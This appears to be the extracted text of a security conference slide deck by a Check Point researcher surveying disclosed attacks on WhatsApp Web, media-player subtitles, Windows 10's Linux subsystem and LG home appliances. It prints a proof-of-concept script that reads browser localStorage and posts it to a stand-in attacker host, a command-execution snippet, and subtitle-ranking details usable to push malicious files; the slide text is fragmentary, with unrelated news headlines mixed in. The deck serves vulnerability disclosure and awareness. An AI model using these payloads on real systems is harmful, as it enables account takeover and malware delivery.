SESSION ID: SPO2-R12

HACKING THE GIANTS

Oded Vanunu
Head Of Products Vulnerability Research
Check Point Software Technologies
@od3dv
Consumers
Social Media
Multi platforms
IoT
One Place To Rule Them All!
Just One Photo Could Have Hacked Millions Of WhatsApp Accounts
WhatsApp security problem leaves millions of users exposed to hackers
The Attack Method

1) Malicious Image Sent
2) Victim Opens Image
3) Your account is hacked!
4) Attacker now has access to:
   - Profile
   - Personal Photos
   - Chats
   - Contacts
<html>
  <header>
    <title>WhatsApp</title>
    <script>
      function GetStorage()
      {
        var values = {};
        var keys = Object.keys(localStorage);
        var i = keys.length;
        while ( i-- )
        {
          values[keys[i]].replace(/ /g, '+') = localStorage.getItem(keys[i]).replace(/ /g, '+');
        }
        return values;
      }

      //send data to attacker server
      function sendacct(data) {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://www.AttackerWebsite.com/whatsapp.php", true);
        xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        //end of sendacct
      }
      var result = GetStorage();
      var json = JSON.stringify(result);
      sendacct(json);
    </script>
  </header>
  <body>
    <img src="https://s-media-cache-ak0.pinimg.com/736x/f4/49/bc/f449bc4db763ba65378ba659fe7fc865.jpg" />
  </body>
</html>
I THOUGHT YOU SAID IT WAS COLD OUT HERE
Online streaming!
Evil Subtitles Can Hack Your PC (And Probably Your TV) Every Time You Watch A Movie
Media players wide open to malware fired from booby-trapped subtitles

VLC, Kodi, Popcorn Time and Stremio were all vulnerable
HACKED IN TRANSLATION

1. Attacker crafts malicious subtitles file
2. Attacker uploads to online repository and manipulates the ranking algorithm
3. User loads malicious subtitles from trusted sources
```javascript
var exec = require("child_process").exec;
exec("calc.exe", function(error, stdout, stderr){});
```
<methodCall>
  <methodName>SearchSubtitles</methodName>
  <params>
    <param>
      <value>
        <string>MDtvFbO17BkdC16c0yYTWv1hX5</string>
      </value>
    </param>
    <param>
      <value>
        <struct>
          <member>
            <name>imdbid</name>
            <value>
              <string>2291629</string>
            </value>
          </member>
          <member>
            <name>sublanguageid</name>
            <value>
              <string>all</string>
            </value>
          </member>
          <member>
            <name>SubFileName</name>
            <value>
              <string>Frozen (2013).srt</string>
            </value>
          </member>
          <member>
            <name>SubSize</name>
            <value>
              <string>80504</string>
            </value>
          </member>
          <member>
            <name>SubHash</name>
            <value>
              <string>2887f6e8a6452bd29dcd10d998a0b7e</string>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>
matched by 'hash' and uploaded by:
+ admin|trusted 12
+ platinum|gold 11
+ user|anon 8

matched by tag and uploaded by:
+ admin|trusted 11
+ platinum|gold 10
+ user|anon 7

matched by imdb and uploaded by:
+ admin|trusted 9
+ platinum|gold 8
+ user|anon 5

matched by other and uploaded by:
+ admin|trusted 4
+ platinum|gold 3
+ user|anon 0

bonus of fps matching if:
+ nothing matches 2
+ imdb matches 0.5

User ranking

<table>
<thead>
<tr>
<th>user</th>
<th>uploads</th>
<th>advertisement</th>
<th>rank icon</th>
</tr>
</thead>
<tbody>
<tr>
<td>anonymous</td>
<td>0</td>
<td>all advertisement</td>
<td>No</td>
</tr>
<tr>
<td>Sub leecher</td>
<td>0</td>
<td>no popunder</td>
<td>No</td>
</tr>
<tr>
<td>VIP member</td>
<td>0 (10 EUR/year)</td>
<td>no advertisement</td>
<td>Yes</td>
</tr>
<tr>
<td>Bronze member</td>
<td>1</td>
<td>some banners, some adverts</td>
<td>No</td>
</tr>
<tr>
<td>Silver member</td>
<td>51</td>
<td>no banners, some adverts</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Gold member</strong></td>
<td>101</td>
<td>no adverts</td>
<td>Yes</td>
</tr>
<tr>
<td>Platinum member</td>
<td>1001</td>
<td>no adverts</td>
<td>Yes</td>
</tr>
<tr>
<td>Administrator</td>
<td>0</td>
<td>no adverts</td>
<td>Yes</td>
</tr>
<tr>
<td>Translator</td>
<td>0</td>
<td>no adverts</td>
<td>Yes</td>
</tr>
</tbody>
</table>
Cherokee Rose (2011)

Services
OpenSubtitles.org
BSPlayer
Subscene.com

Manual search string

10:20 PM
The Walking Dead

03:39 / 43:23
Player
Bypass Win10 security!
Windows 10’s Built-In Linux Shell Could Be Abused to Hide Malware, Researchers Say

'Bashware' is a clever new type of malware that major antivirus programs can't detect.
Linux Subsystem on Windows 10 Allows Malware to Become Fully Undetectable

BashWare
New Way to Make Malware Fully Undetectable
1. Enabling WSL feature
2. Enabling "Developer Mode"
3. Installing the Linux file system
4. WineHQ
speech to plunge Middle East into 'fire with no end'

Donald Trump - US president is planning to recognise Jerusalem as Israel's capital

Johnny Hallyday - 'French Elvis' dies aged 74

Opinion: The tragedy of Johnny Hallyday

The Post - Streep and Hanks scoop the honours in Spielberg’s big-hearted story

Live - MPs renew demands for contempt of parliament vote against David Davis after Brexit hearing

Rex Tillerson - US secretary of state threatens to slap Iran's oil sector with 'banking sanctions'

Boris Johnson - Secretary of state David Davis is set to resign over Iran sanctions

Boris Johnson - Iran sanctions: David Davis's resignation could signal the end of Theresa May's government
Don’t forget the refrigerator!
Time To Update Your Vacuum Cleaner -- Hack Turns LG Robot Hoover Into A Spy
Security flaw in LG IoT software left home appliances vulnerable.
Takeaways

- Landscape understanding.
- Home/Office giant platforms.
- Fight Back.